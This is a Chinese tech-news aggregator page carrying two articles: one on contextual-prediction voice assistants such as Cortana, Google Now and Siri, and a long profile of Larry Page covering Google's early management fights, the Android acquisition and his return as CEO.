Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15845 articles
Browse latest View live

语音识别应用大战硝烟弥漫 Siri未战先死

$
0
0

腾讯科技讯 4月29日消息 随着科技的不断进步,我们身边许多的科技设备已经变得足够强大,且易于日常使用。因此,我们不得不开始思索这样一个问题“科技界的下一个大事件将发生在哪个细分领域?”

考虑到目前大多数科技企业都将自己的触角深入了语境预测类技术领域,因此我们相信这有可能成为下一波科技浪潮集中发生的重点领域。

简单来说,语境预测类技术的主要目的就是使设备在无需用户开口的情况下帮助我们完成一些日常工作。其中,微软在Windows Phone 8.1操作系统中内置的最新语音助理应用Cortana就可以通过“观察”用户的应用和设备使用习惯以及所获取的信息适时的为用户提供有用信息。举例来说,Cortana可以在用户前往机场的途中自动为用户提供诸如航班信息和登机牌等内容。需要指出的是,Cortana可以在用户不进行任何操作的情况下完成这一任务,并可以将这类信息分享至任何一个有关联的手机应用。

需要指出的是,目前微软对于Cortana的重视程度甚至超过了其他任何一款产品。在今年的微软Build开发者大会上,Cortana是本届会议中毫无疑问的明星产品,其重要程度甚至超过了该公司主打的Windows和当时刚刚迎来更新的Windows Phone操作系统。

当然,微软并不是唯一一个对该领域抱有雄心的企业。目前,谷歌(微博)正在试图通过针对Android平台打造更加完善的Google Now服务在这一领域占有立足之地;雅虎在今年早些时候斥资8000万美元收购了基于使用数据和位置信息、面向Android用户呈现最佳显示方式的动态主屏应用开发商Aviate;Nest的新款恒温器可以根据用户的习惯调节设备设置,以更加高效的管理室内温度。

在另一方面,缺乏对于用户行为的预知能力也是苹果Siri经常被人们所忽视的最主要原因之一。事实上,苹果此前曾花费了数年时间打造这样一个语音助理,但Siri除了能够帮助用户设置闹钟、查看天气、阅读短信息之外几乎没有什么作用。

那么,为什么我们需要对语境预测类技术给予如此之大的关注呢?

我们相信,随着这类技术的逐渐成熟以及可穿戴设备的愈发普及,诸如Cortana和Google Now这类服务的重要性只会有增无减。而且,在这类技术成熟以后,用户同手机、手表、电视,甚至是汽车之间的交互将变得更加轻松、自然。比如,类似的技术可以提醒用户在驾车时将注意力集中在道路上,或者通过点播视频流媒体服务的历史判断用户喜欢观看哪类视频。

应该说,这样的实际应用前景恰恰是谷歌在推出Android Wear平台时多番提及Google Now的最主要原因。在配置了Google Now后,未来的Android智能手表将有能力预测用户的目的地以及代办事项,然后根据这一数据主动提供用户可能希望查看的信息。

平心而论,有关这类技术到底能够在真实世界中起到多大作用这一问题的答案我们目前还不得而知。但可以肯定的是,如果没有内置语境预测类技术,任何一款智能手表都将仅仅是一款类似于三星Gear式的产品,即用户需要不断的滑动屏幕才能找到自己需要的信息。

需要指出的是,由于Cortana和Google Now这类服务需要持续记录、跟踪用户的动态才能够更加有效的运作,因此这类服务的崛起同时也引起了人们对于隐私问题的巨大关注。

负责开发Cortana团队的项目经理马库斯-阿什(Marcus Ash)表示,微软在设计Cortana的时候在数据收集和隐私保护方面给予了巨大关注。比如,Cortana拥有一个内置的隐私控制面板,用户可以在此查看该服务收集、记录了哪些信息。而且,外部应用无法在未经授权的情况下读取所收集的这些数据。

“当你开始涉足类似这样的全新科技的时候,你只有一次获胜的机会。而如果你搞砸了的话,你将很难重头来过。”阿什说道。(汤姆)


谷歌创业故事的背后:一个真实的拉里·佩奇

$
0
0

  2001年7月的一天,拉里·佩奇(Larry Page)决定解雇谷歌的项目经理。所有的项目经理。

  当时的拉里·佩奇还是一个年仅22岁的斯坦福大学研究生,这距离他半夜想到一个主意仅仅五年时间。根据这个主意,他可以下载整个互联网,查看不同页面上的链接,进而能够以一种全新的方式查看全世界的信息。

  佩奇当天晚上写成的代码成为一种算法的基础。他称之为PageRank,并将其用于支持一种全新的互联网搜索引擎BackRub。但这个名字并没有使用多久。

  到2001年7月,BackRub被更名为Google,而且发展得很好,拥有了数百万用户,获得了不少知名投资者青睐,另外还有400名员工,包括数名项目经理。

  解雇项目经理

谷歌创始人兼CEO拉里·佩奇不为人知的故事

  1999年谷歌员工合影

  与大多数创业公司一样,在第一年的谷歌,公司CEO佩奇与工程师之间没有任何管理层级。但随着公司的发展,CEO与工程师之间新增了一层管理者,他们可以见到佩奇和谷歌其他高管,然后给工程师下达命令和截止时间。

  佩奇讨厌这种格局。他认为谷歌只应聘请最优秀的工程师,过多的监督层级不仅没有必要,而且会构成阻碍。他甚至怀疑谷歌的项目经理们引导工程师偏离对他个人非常重要的项目。例如,佩奇曾经制定计划,想要扫描世界上所有图书并使其在互联网上搜索可得,但几乎没有人从事这个项目。佩奇将其归罪于项目经理。

  他提出了一些大幅的精简措施。所有的谷歌工程师将不再向项目经理报告工作,而是向新聘请的工程副总裁韦恩·罗辛(Wayne Rosing)汇报,而罗辛将直接向佩奇汇报工作。

  道格拉斯·爱德华兹(Douglas Edwards)撰写的关于谷歌早期内部观点的著作《我很幸运》(Im Feeling Lucky)披露,当时谷歌的人力资源主管史塔茜·苏利文(Stacey Sullivan)是一位非常认真的女性,她认为佩奇的计划太疯狂了。“人们在遇到问题时需要有人去解决。”她说。

  佩奇没有理会她。

  

谷歌创始人兼CEO拉里·佩奇不为人知的故事

  佩奇与布林

  苏利文将自己的担心告诉了埃里克·施密特(Eric Schmidt)。那年3月份,施密特担任谷歌董事长。所有人都预计,只要他离开Novell CEO的全职工作,就会担任谷歌CEO。

  施密特同意苏利文的观点,佩奇的执行教练比尔·坎贝尔(Bill Campbell)同样如此。所有人都称坎贝尔为“教练”,是因为他曾经担任哥伦比亚大学的橄榄球教练,他仍然像在场边指挥比赛一样边走边说。

  正如史蒂芬·列维在自己的作品《In the Plex》里所说,有天晚上,坎贝尔与佩奇就他的计划发生了争执。为了证明自己的观点,坎贝尔把工程师一位接一位地叫到佩奇的办公室,让他们表达自己的观点。一位又一位工程师告诉佩奇,他们确实要一位经理,这个人可以结束他们的分歧,并给团队指明方向。

  但佩奇已经下定了决心。

  施密特可能是苏利文寻求帮助的最糟糕对象。佩奇从来没有支持聘请施密特或者任何一位CEO,只是谷歌投资者迫使他不得不这样做。

  不久之后,施密特似乎成为佩奇实施计划的障碍。但当时候是2001年7月,施密特尚未正式担任谷歌CEO,因此佩奇的计划得以实施。佩奇要求罗辛代表他宣布这个消息。

  当天下午,大约130名工程师和数名项目经理聚集到一起。谷歌的办公室隔档错落有致,沙发等家具是从其他失败的创业公司里淘来的廉价货。这些人就站在佩奇办公室外面。

  最后,戴着眼镜、秃顶的罗辛开始说话。他解释说工程部门将进行重组:所有工程师将向他报告工作,所有的项目经理将被解雇。这个消息没有引起积极的反馈。项目经理们都惊呆了,他们事先没有得到任何警告,而且当着所有同事的面被炒了鱿鱼。

  工程师们要求一个解释。佩奇做出了解释。他脸上几乎没有任何表情,用标志性的平缓、机器人式的语调,佩奇解释说他不喜欢由非工程师来监督工程师。工程师们不应接受科技知识有限的经理们监督。最后,他说,谷歌项目经理们的工作也不能令人满意。

  佩奇说话的时候,他的眼神漂到别处,避免与他人直接接触。尽管他的身高高于平均水平,一头黑发令其外表英俊,但他在社交场合显得很腼腆。

  这个消息遭到了大量的抱怨。最后,房间里一位名叫罗恩·道林(Ron Dolin)的工程师开始向佩奇发难。他说,全体大会并不是进行业绩评估的场合,佩奇的所作所为“非常荒谬”,“一点都不职业”。

  “太扯了,”一位当时在场项目经理后来说,“我感到很受侮辱。拉里当着全公司的面说我们不需要经理,说他不喜欢我们。他的话伤害了很多人。”

  最后,裁员并没有进行下去。佩奇那天想要截掉的项目经理全都转到谷歌日益发展的运营部门,由乌尔斯·霍兹勒(Urs Hozle)领导。佩奇的重组也没有持续太久。尽管一些工程师在没有监管的情况下成果丰硕,但问题也随之而来。项目所需资源并没有保障到位。重复冗余问题出现。工程师希望得到反馈,并想知道他们的职业生涯会如何发展。

  最后,谷歌再次开始招聘项目经理。“我尽全力解释管理的真正价值,你可以为如何管理定一个基调。”史塔茜·苏利文在《我很幸运》一书里回忆说,“希望拉里可以从中吸取教训。”

  谷歌的乔布斯

谷歌创始人兼CEO拉里·佩奇不为人知的故事

  到2001年8月,施密特卸到了自己在Novell的全部职责,成为谷歌CEO,也就是对佩奇和另外一位联合创始人谢尔盖·布林(Sergey Brin)进行所谓的成人监护。

  很长一段时间,拉里·佩奇感觉很不开心。

  每个人都知道史蒂夫·乔布斯(Steve Jobs)的故事,知道他被自己创立的苹果公司解雇,流亡几十年后又回归并拯救了公司。但很少有人理解苹果董事会和投资者当时解雇乔布斯是一个非常正确的决定。在职业生涯早期,乔布斯非常任性和自私,容易造成破坏。离开苹果之后,他才知耻而后勇,在Pixar取得了第二次成功,进而成为一名成熟的领袖。回到苹果之后,他带领苹果发展成为世界上最具价值的公司。

  拉里·佩奇就是谷歌的史蒂夫·乔布斯。与乔布斯一样,佩奇也有另外一位联合创始人谢尔盖·布林,但佩奇一直是公司真正的梦想家和推动力。就像苹果投资者将乔布斯扫地出门一样,谷歌投资者也没有满足佩奇的意愿,迫使他聘请一位CEO实施成人监护。

  后来,两个人都经历了长时间的迷失。史蒂夫·乔布斯的流亡形势更加严峻,但佩奇也在几年时间里没有涉足谷歌的日常工作。与乔布斯一样,只有在经历了长时间流亡后,佩奇才能够成熟起来,了解到自己的优点与缺点。

  后来,与乔布斯一样,佩奇带着雄心壮志与坚定决心回归公司。

  管理原则

  谷歌成立于1998年9月4日,也就是佩奇在梦里构思出用内置链接进行网页排名的想法之后两年。他自己担任CEO,他最好的朋友谢尔盖·布林被任命为联合创始人。

  联合创始人经常被历史遗忘。史蒂夫·乔布斯在苹果有两位联合创始人,马克·扎克伯格在Facebook有四位联合创始人。

  谢尔盖·布林是一位与佩奇截然不同的搭档。他们在斯坦福大学相识,当时布林非常外向和精力充沛,教授们都知道他喜欢不敲门就直接进入办公室。

  在佩奇的创业公司发展为国际科技公司的过程中,布林提供了谷歌必需、但佩奇缺乏的外向性格。布林擅长战略和品牌,以及发展谷歌与其他公司的关系。他是佩奇的合作伙伴,最后成为兄长。

  尽管谷歌经常被看作是布林和佩奇这两位计算机天才的产物,实际上谷歌是拉里·佩奇的创造物,谢尔盖·布林只是帮手。

  佩奇和布林为成立这家公司从好友和家里筹集了100万美元,并从斯坦福大学校园里搬到了租来的车库。

  到1999年2月,这家创业公司的发展规模已非车库能容纳,于是搬到了位于加州帕洛艾托(Palo Alto)一个自行车商店楼上的办公室里。七个月之后,这个办公室的规模也不再够,于是公司又搬到了山景城附近距离高速公路几英里的一个办公园区里一座毫无特征的楼上。

  在这座楼外面的一片柏油停车场,有一个黄色警用胶带标识的区域,佩奇、布林和谷歌其他员工在这里玩滑轮曲棍球。他们的游戏是全身体接触,因此员工们都戴着护具,回到办公室的时候一定是汗流浃背,有时候还会有出血和淤肿。“在场上对抗创始人的时候,没有人会收敛一点。”道格拉斯·爱德华兹写道, “你玩得越激烈,赢得的尊重越多。”

  在这座褐色大楼内部,游戏要激烈得多。是的,这里为所有员工提供免费食物,以及一位现场按摩治疗师。另外还有色彩明亮的餐厅和沙发,整个区域看起来就像一个幼儿园和大一新生宿舍的混合体。

  但是对于佩奇的员工而言,在谷歌工作就像是一场无休止的论文答辩。放眼望去,到处都是饱读圣贤书的人才随时想要与你辩论。佩奇曾经每天与布林进行激烈的争论,这也是他们关系发展的方式。他们的辩论并不是相互争吵,而是一方陈述观点,然后另一方陈述,很少有打断对方的情况发生。佩奇会说布林的想法很愚蠢,布林则会说佩奇的主意太幼稚。他们相互都会称对方为混蛋。

  佩奇从来没有感觉到他与布林的关系因为这些争论而有所恶化,因此他也用同样未经任何修饰的方式与其他谷歌员工进行沟通。佩奇曾经对满屋子的谷歌首批营销员工说,他们的职业就是建立在说谎的基础之上。

  佩奇还喜欢用肢体语言来表达想法。如果他的眉毛会上扬,说明他认为你的想法很愚蠢。如果你说了一些让他感觉愤怒或不舒服的话,他会用更加平静的语调回应,而且说话的时候绝对不会看着你。

  佩奇因为缺乏社交技能而带来了不好的名声。产品演示时应用程序加载过慢也会令他咆哮如雷。

  佩奇鼓励公司高管像他和布林那样相互挑战。在新招聘员工的见面会上,两位联合创始人之一经常会挑起一场关于企业或产品决策的论战。然后他们就静静坐在一边,观看下属们相互之间的争论。只要任何一个论点说到了点子上,佩奇就会说:“我不想再听下去了。就这样做。”

  这并不是说他是个专制的统治者,而是说明他与人沟通靠的是想法,而不是感觉。

  谷歌早期的人力资源主管希瑟·凯恩斯(Heather Cairns)还记得有一次遇到佩奇在下班后与谷歌清洁工专心致志地聊天。随后她问佩奇,他们如此严肃地都聊了些什么。

  他回答说。“我想知道每个人工作的情况。”随后他详细回忆了这位清洁工的方法:把空垃圾袋放到垃圾桶底部,这样就可以方便地更换。“这种方法非常有效,”佩奇肯定地说,“他这样做可以节约时间,我也从中学到了东西。”

  在社交上,佩奇就像个孩子。在大学和研究生期间,他能够借外部事物与他人交流:对未来的构想,超酷的技术。在谷歌,他仍然用这个层面的东西与员工交流,却忽略了情感沟通。

  在被问及他管理公司的方法时,佩奇曾经对一位谷歌员工介绍说,他解决复杂问题的方法就是将其简化到二选一,然后选择最佳答案。无论此举会带来什么附加损害,他都能接受。

  佩奇在获得密歇根州立大学的计算机科学学士学位之后,前往斯坦福大学就读硕士研究生。当时他认为自己需要在学术与创建公司之间二选一。选择前者意味着放弃成为发明家的机会,但创建公司将迫使他以自己不喜欢的方式与诸多人打交道。在谷歌的前几年,他在两个方面都游刃有余:既能开发出数百万人广泛使用的产品,又培养了专注于理念和成果,而非细微情感的人际文化。

  多年来,谷歌一直在这种管理方式下繁荣发展。

  对于很多员工而言,这种相互竞争的氛围是在一个目标真正明确的公司工作的合理代价。

  即便有时候这种环境造成伤害,最后也是有价值的理念获胜。在《In The Plex》一书中,史蒂芬·列维介绍说2000年时谷歌聘请了一位名叫韦斯利·陈(Wesley Chan)的产品经理助理,并指定他负责开发一款名叫谷歌工具栏的产品。

  这款产品原本是希望用户无需打开微软IE浏览器就进行搜索,但韦斯利·陈发现没有人使用这项功能,因为它没有任何特别之处。他决定将其转化为一款弹出广告的拦截工具。

  在一次会议上,他向佩奇提出了这个想法。“这真是我听过的最愚蠢的想法!”佩奇回答说,“我们从哪把你招来的?”

  然而,韦斯利·陈并没有因此而退缩,他悄悄把改进后的工具栏安装到佩奇的电脑上。后来佩奇有一次在会上说他看到的弹出广告变少了,韦斯利·陈才把原因说了出来。于是,这款工具栏正式推出。

  佩奇后来总结了他的管理原则:

  -不要推诿:亲自做事,加快进度。

  -如果不能增加价值,就不要干涉其中。让那些真正做事的人去相互讨论,你去做其他事情吧。

  -不要官僚主义。

  -想法比年龄重要。年龄小并不意味着他不值得尊重与合作。

  -你所做的最糟糕的事情就是用一个“不”字就阻止别人做事。如果说出不,你就要帮助他们找到更好的方法。

  社交沟通时的琐碎并不是佩奇唯一不愿遵守的规则。

  例如,1999年,eBay、雅虎和谷歌这样的大型互联网公司扩大服务器的方法已经相当普及。他们购买服务器,然后将其安装到第三方所有的庞大仓储中心。这些仓储空间提供商支付电费确保服务器运行,购置空调为服务器降温,而网站所有者则根据面积支付费用。佩奇认为,既然谷歌要按每平方英尺的面积来付费,他就要在固定的空间里安装尽可能多的服务器。于是,他拆开服务器,寻找缩小服务器体积的方法。最先被佩奇砍掉的就是所有的关闭开关。

  “你何必要关闭服务器?”他多次这样问。

  将没有用的零件去掉之后,再装到软木板里,防止线缆缠绕在一起,于是谷歌开发出了全新的轻薄型服务器。这些服务器外观丑陋,但不久之后,谷歌就用早期竞争对手Inktomi支持50台服务器的价格,支持了1500台服务器。因此,谷歌的搜索速度更快,而Inktomi与谷歌的其他搜索竞争对手一样,逐渐消失在尘埃里。

  尽管在前两年管理谷歌的过程中取得了诸多令人赞叹的成功,但或许正是因为这样,拉里·佩奇即将丢掉自己的工作。

  惨遭流放

  1999年上半年,谷歌经历了疯狂的增长,这种用户使用量的增长需要新的资金注入,购买更多的服务器,招聘更多的员工。但谷歌当时候还没有赚到一分钱。

  佩奇和布林开始寻找新的投资者的时候,佩奇提出了一个首要的条件:他和布林要保留公司的大多数投票股,并保持对谷歌的绝对控制权。

  最初,硅谷风投资本家们对这个想法嗤之以鼻。

  随着谷歌不断发展壮大,这种嘲笑也逐渐散去。不久之后,硅谷两家最知名的风投公司,Kleiner Perkins和红杉资本,同意向谷歌投资2500万美元,同时答应佩奇提出的条件。

  但投资者仍然有自己的怀疑。作为允许佩奇和布林保留谷歌大多数股权的交换条件,他们要求年仅26岁的佩奇从CEO位置上退下来。他们要为他实行成人监护。

  正如史蒂芬·列维所写,Kleiner Perkins合伙人约翰·多尔(John Doerr)告诉佩奇说,一位世界级的CEO能够“干出更优秀的工作,打造出世界级的管理团队”。

  佩奇接受了这个条件。谷歌确实需要这笔钱。

  然而,这笔协议达成之后几个月,投资者已经无法撤回资金的时候,佩奇打电话给多尔说,他和布林改变了主意。“事实上,我们认为我们两个人能够把公司管理得很好。”他说。

  或许佩奇最初答应了多尔提出的条件,认为谷歌确实需要一位世界级的CEO,只是后来改变了主意。但也许并非如此。佩奇一直是一个控制狂。一位大学好友回忆说,早在密歇根大学时期,佩奇就是“控制狂和偏执狂”,因为“他想要把一切都做对、做好”。

  1998年,佩奇和布林决定带着谷歌的全部8名员工把公司搬到Lake Tahoe。他们租了一辆厢式货车之后,发现如果指定一位司机,可以每天节约2.5美元。佩奇决定自己担任司机。于是,他开着货车一路前行,其他人则在后面玩数学游戏。

  道格拉斯·爱德华兹说,这是天生的。“拉里不想把自己的生活交到任何人手里。”他说。真相就是,佩奇认为他不需要任何人帮助管理谷歌,至少是除了布林提供的帮助之外。他也把这个想法告诉了新的投资者。

  多尔大发雷霆。很显然,他认为佩奇并不适于领导一家大型公司,而且他表达观点的方式也令人沮丧。

  他建议佩奇与多位大型科技公司CEO见面,包括苹果CEO史蒂夫·乔布斯、英特尔CEO安迪·葛洛夫(Andy Grove)、亚马逊CEO杰弗·贝索斯(Jeff Bezos),并咨询他们关于工作的建议。多尔认为,佩奇回来的时候,肯定会认为自己需要帮助。

  佩奇很爽快地答应了。所有会见结束之后,他给多尔打电话,说出了令人惊讶的观点。佩奇认为,如果说谷歌真的需要一位CEO,那只有史蒂夫·乔布斯能够任胜。

  很显然,这是不可能的,但多尔很高兴听到佩奇认为世界上终究还是有人能够提供帮助。于是他们共同面试其他候选人。多尔向佩奇和布林推荐了Novell公司CEO埃里克·施密特。

  谷歌聘请了施密特。2001年3月,他以董事长的身份加盟,8月份成为CEO。

  佩奇同意了这个安排,但却并不感到开心。他对自己在新权力结构里的地位感到不满,他的头衔是产品总裁。他甚至开始怀疑他是否在这家公司已经可有可无。

  就在这段不确定时期内,2001年7月,佩奇推动谷歌实施了那次设计拙劣的工程业务重组。此举立即向大多数观察人士证明,多尔一直以来都是正确的。

  佩奇这样做还有一个动机:摆脱那些向施密特报告工作的项目经理,这样就可以保持自己的控制权。

  在佩奇的领导下,谷歌已经在滑轮曲棍球和论文答辩的道路上走了很远。但是渐渐地,谷歌员工对于由一位更加灵活、更加体贴的人来管理公司感到越来越高兴。

  打造Android

谷歌创始人兼CEO拉里·佩奇不为人知的故事

  谷歌已经可以从广告中获取大量收益,施密特对公司的管理也进入了稳步发展阶段,佩奇开始认识到,他终于可以去实现自己的理想了。

  到2005年,佩奇的其中一个理想是研发手持计算机,它可以把谷歌服务装到地球上每个人的口袋里。因此,当年佩奇要求谷歌企业开发部门收购一家拥有同样梦想的小型创业公司。这家创业公司名叫Android,公司CEO和联合创始人名叫安迪·鲁宾(Andy Rubin),他曾是苹果高管,他曾经开发出风靡一时,但最终失败的互联网电话Sidekick。

  收购Android是拉里·佩奇一手促成的。佩奇没有将这笔花费5000万美元的交易告诉施密特,直到交易完成。布林知道这笔交易,但他没有丝毫兴趣。

  佩奇将Android定为一个独立的实体,它只是名义上属于谷歌。因此,鲁宾可以有很大的经营自主权,不必受到母公司的干涉。Android甚至有自己的办公楼,普通谷歌员工戴着工作证也无法进入。施密特就当这个部门根本不存在,因为对于当时坐拥大量资产的谷歌来说,5000万美元花得值不值根本不必担心。

  佩奇把Android当作一个热心的项目,他大量的时间都是与鲁宾在一起,甚至因为对谷歌其他方面关注不够而感到愧疚。再一次,这应当是施密特的工作。

  接下来两年里,鲁宾开发出了自认为技术水平最高的移动操作系统。不久之后,2007年前往拉斯维加斯时,鲁宾在出租车上打开自己的笔记本电脑,看到史蒂夫·乔布斯发布了苹果的互联网手机。这就是iPhone,相当有魅力的产品。

  鲁宾心想,老天爷,我们要重新做自己的手机。他让出租车停下来,以便更好地观看乔布斯接下来的演示。

  大约一年之后,2008年9月,T-Mobile推出了第一款使用鲁宾团队开发的移动操作系统的手机G1。这款操作系统就像iPhone的翻版,但却是一个不错的翻版,而且可以免费提供给手机生产商安装。

  手机生产商想要追赶苹果,运营商想要与iPhone在美独家运营商AT&T 保持同步,于是谷歌的这款操作系统迅速普及。2009年第二季度,Android手机占手机总销量的1.8%,到2010年第二季度,Android销量已经占到了17.2%的市场份额,超过了苹果的14%,这也是Android首次超越苹果。不久之后,Android成为世界上最受欢迎的手机操作系统。

  到2010年,佩奇已经在打造两项随处可见的科技方面发挥了关键作用,这两项科技都改善了世界上人们的生活。谷歌,这家最初从论文答辩开始的公司,使得互联网成为日常生活中一个更加强大的工具。后来,在没有任何成人监护的情况下,佩奇维持了Android的发展。现在,Android已经使智能手机成为日常生活用品,世界上所有人都可以用计算机连接互联网只是时间问题。

  实现如此巨大的二次成功,而且是作为一名经理取得成功,大大提升了佩奇对自己的管理能力的自信心。佩奇也认识到自己职业生涯早期的错误。他很高兴能够与鲁宾合作取得成功。

  佩奇一直存在信任别人的问题,但这个问题正在改变,或许是因为他有了家庭。在2009年5月密歇根大学的毕业演讲上,佩奇谈到了自己的父亲、母亲、新婚妻子露茜·索斯沃斯(Lucy Southworth)和他们的孩子。“和我一样,你们的家人把你送到这里,你又把他们带回到这里。”他说,“请靠近他们,要记住:他们是你生命中真正重要的人。”

  问题接踵而至

  就在Android普及和佩奇逐渐成熟的同时,谷歌基于搜索和广告的核心业务也在施密特的管理下不断发展。到2010年,谷歌市值达到1800亿美元,拥有2.4万名员工。真是一家大公司。

  它也遇到了一些大公司特有的问题。《纽约时报》记者克莱尔·凯恩·米勒(Claire Cain Miller)在2010年11月的一篇题为《谷歌发展壮大,但要保持灵活思维》的文章中详细剖析了这些问题。

  在这篇报道中,米勒援引了多位谷歌员工和前员工的话,他们称这家公司过于官僚和膨胀。她写道,谷歌过去将工程师所从事的项目限制为10个,但近年来已经增加到20个,甚至40个项目。更糟糕的是,“工程师称公司鼓励他们更少地开发新产品,而是专注于现有产品的改进。”

  一位项目经理透露,他觉得是时候从谷歌辞职了,原因就是他需要在电子邮件里添加抄送很多人。另外一位项目经理告诉米勒说,他考虑离职是因为在谷歌工作意味着自己研发的产品公众曝光度太低。

  除了官僚主义,到2010年时施密特领导下的谷歌还要应对另外一个大公司问题。它不再是硅谷的新兴巨头,Facebook才是。

  到2010年,Facebook公司1700名员工当中,有142名从谷歌而来。

  在谷歌高管当中,公司的老化以另外一种方式呈现出来。施密特从来没有真正改变佩奇时代形成的做决策时激烈争论的做法。十年之后,反复的冲突使得高管成为对手,甚至不愿彼此共事。

  2010年秋天,佩奇感受到了谷歌的这些问题。他还感受到另外一个令他更加担心的问题。在施密特较为成功的任期内,该公司的进取心反而有所退步。

  2009年,谷歌实现了65亿美元的利润,拥有2万名员工。佩奇看着这些数字想,我们有这么多钱,这么多人,为什么不做更多的事情?他禁不住想,为什么谷歌最近所做的最大项目就是Android,是一个施密特并不感兴趣的项目。

  2010年秋天,佩奇在一次产品评估会上公开表达了自己的沮丧之情。埃里克·施密特、布林、佩奇,谷歌的顶级高管,以及他们的代表共同出席会议。与平常一样,佩奇安静地坐在那里看手机。一开始,一位高管介绍了一款帮助用户找到恰当的线下购物商店的新产品。

  这位高管正在介绍,突然佩奇打断了他。“不,”佩奇直接说,“我们不做它。”

  整个房间陷入一片沉静。

  “我们要开发的产品,应当是利用科技解决数亿人面临的大问题。”他继续说,“看看Android,看看Gmail,看看谷歌地图,看看谷歌搜索。这才是我们应该做的。我们要开发出你生活中不可或缺的产品。而这并不是。”

  佩奇并没有大声说话,他不需要这样做。他所表达的信息已经足够嘹亮和明确。

  那年12月,佩奇、布林和施密特坐到一起进行了一次讨论。在2011年1月20日的谷歌电话会议上,施密特宣布他将结束谷歌CEO生涯,这个职位将由拉里·佩奇重新担任。施密特将转任谷歌执行董事长。当天晚些时候,他发了一条Twitter消息:“成人监护再无必要。”

  重新出山

  佩奇带着快速执行的决心重新担任CEO。

  首先,他对公司高级管理层进行了重组,亲自负责了公司的大多数重要产品部门,包括YouTube、广告和搜索,并且在每个部门顶层任命一位类似于CEO的经理。佩奇希望复制他和鲁宾在Android取得的成功。

  随后,佩奇和谷歌终于对Facebook的威胁做出了回应,推出了自己的社交网络Google+。到第一年夏天为止,谷歌依据统一、连贯的界面重新设计了所有产品。

  2012年,佩奇斥资120亿美元收购了摩托罗拉,这主要是为了收购该公司旗下的大量专利,保护Android不受苹果和其他公司的诉讼困扰。

  谷歌进入了硬件领域,推出了Chromebook,这是一款基于谷歌操作系统的超轻薄笔记本电脑,以及用户可以佩戴的计算设备,例如谷歌眼镜。

  到2012年底,谷歌开始在堪萨斯城安装超高速光纤网络,为城市里所有人提供免费的互联网连接,而且速度比宽带快100倍。

  随着佩奇重新执掌谷歌进入第四年,这家公司也处于极佳的状态。股价已经涨到700美元以上,不难想象总有一天谷歌将是一家年营收超过千亿美元的公司。

  然而,佩奇认为,谷歌仍然面临着一个存在意义的问题。继搜索之后,谷歌还能否开发出另一项伟大的业务?通过谷歌搜索和Android,佩奇和谷歌可以说创造了两个全世界几十亿人都在使用的科技平台。

  但谷歌免费授权Android使用,因此Android对于谷歌业绩的意义仅在于它把谷歌搜索和谷歌搜索广告装进了世界上数千万用户的口袋。在这个意义上,它并不是谷歌的全新业务,仅仅是谷歌主要业务的拓展。谷歌仍然有90%的收入来自广告,其中总收入的70%来自搜索广告。

  谷歌面临的一个危险在于,最终——不是今年,也不是这个十年,但不可避免——谷歌会发展得极其巨大,并获取世界上所有企业在广告方面的几乎所有支出。听起来虽然疯狂,但并非遥不可及。谷歌营收已经超过了广告主在杂志和报纸上投放的广告支出的总额。谷歌已经主导了在线广告市场。谷歌搜索已经走出家门继续发展。

  对于佩奇而言,这意味着,他现在经常要问自己,未来是什么样的,我们如何创造未来?他产生了很多想法,现在他负责谷歌,可以让工程师们投入足够的时间来完成他的梦想。

  他从来没有放弃曾经向密歇根大学提出的公共交通系统建议,所以现在谷歌正在研发无人驾驶汽车。

  还有人工智能。除了统治视频游戏,谷歌的人工智能还能够观看YouTube视频,从经验中学习,还会画猫。

  谷歌还有一家名叫Calico的子公司,它正在研发老龄化和死亡相关问题的解决方法。

  谷歌的另外一家子公司名叫Google Fiber,它用比宽带快100倍的互联网连接堪萨斯城的家庭。Google Fiber可能会在不久后扩大到另外九座城市,包括菲尼克斯、夏洛特和波特兰等。

  2013年,佩奇把安迪·鲁宾从Android主管位置挪开,问他是否愿意开发机器人。佩奇幻想着这样一个世界,机器人可以完成很多工作,包括照顾老人,把杂物和家庭生活用品装到无人驾驶汽车上,等等。2013年底,谷歌收购了一家名叫Boston Dynamics的公司,后者可以生产仿人类和仿动物机器人,其中一些可以投入军事使用。

  同样是在2013年,佩奇与前苹果高管托尼·法德尔(Tony Fadell)见面,这个家伙曾经设计过iPod播放器。佩奇说服他将自己新成立的公司Nest以32亿美元的价格出售给谷歌。Nest可以生产连接互联网的恒温器。就在这个月,谷歌又收购了一家公司Titan Aerospace,它可以生产无人机。

  在谷歌,他们将最大胆的想法称为登月。这种想法很多,包括用热汽球为世界落后地区提供互联网服务,以及生产基于Android操作系统的手表。

  佩奇承认,大量想法的多样性令公司的一些投资者感到担忧。他们担心谷歌能否保持专注?或者谷歌会不会像过去的大量科技巨头一样,把战线拉得太长,追求过多的狂野梦想?确实,有谁需要一台能够在视频游戏里击败人类的计算机?

  佩奇对这些担忧的回答分为两个方面。首先,他坚信谷歌完成登月式的项目比从事普通研究更容易。他的逻辑是:这方面竞争更少。另外,最优秀的人才愿意为谷歌工作,因为最优秀的人才希望从事最有野心的项目。

  其次,佩奇认为,所有这些项目都能够为世界带来更好的搜索。

  这些年来,佩奇一直在给谷歌搜索总结一个宽泛的定义。

  2012年,他对一名记者说,“完美的搜索引擎应当理解你的任何需求,它可以深入理解世界上的一切,并给你提供你所需的一切。”

  在2013年一次谷歌会议上发表主题演讲时,佩奇表示,长远来看,他希望谷歌的软件能够“理解你哪方面知识丰富,哪方面知识缺乏,以及如何构建世界,以便解决重要问题”。

  所以,在佩奇看来,如果你回到家感觉有些冷,你的谷歌手表将会进行搜索,进而理解这种感觉。搜索结果就是打开基于谷歌软件的恒温器进行加热升温。

  与此类似,如果你的牛奶喝完了,家里基于谷歌软件的电冰箱就会通知同样基于谷歌软件的无人驾驶汽车,带着谷歌机器人到附近的商店买一些牛奶回来(当然,用的是谷歌钱包进行支付),这都是搜索的功能。

  理解谷歌登月项目的关键在于理解佩奇对“完美搜索”的观点,他认为只有与你互动的一切产品都相互兼容,才能实现完美搜索。例如,谷歌当前最先进的搜索产品Google Now能够做很多事情。如果Android用户要赶飞机,Google Now就会发出提醒,告诉用户该出发了。但这需要读取Android用户的收件箱、谷歌地图、谷歌航班搜索、谷歌日程,当然还有用户的智能手机。

  所以,尽管谷歌进入汽车、恒温器、机器人、电视等看似杂乱无章的领域,但背后有一个共同的目标。佩奇理想的世界,是我们触及的一切都能够通过人工智能计算机连接和理解,这种计算机还能总结我们的活动规律,预测我们的需求,甚至比我们自己还要早知道。佩奇曾多次说,总有一天,这种人工智能将与大脑直接相连,或许可以通过移植来实现。

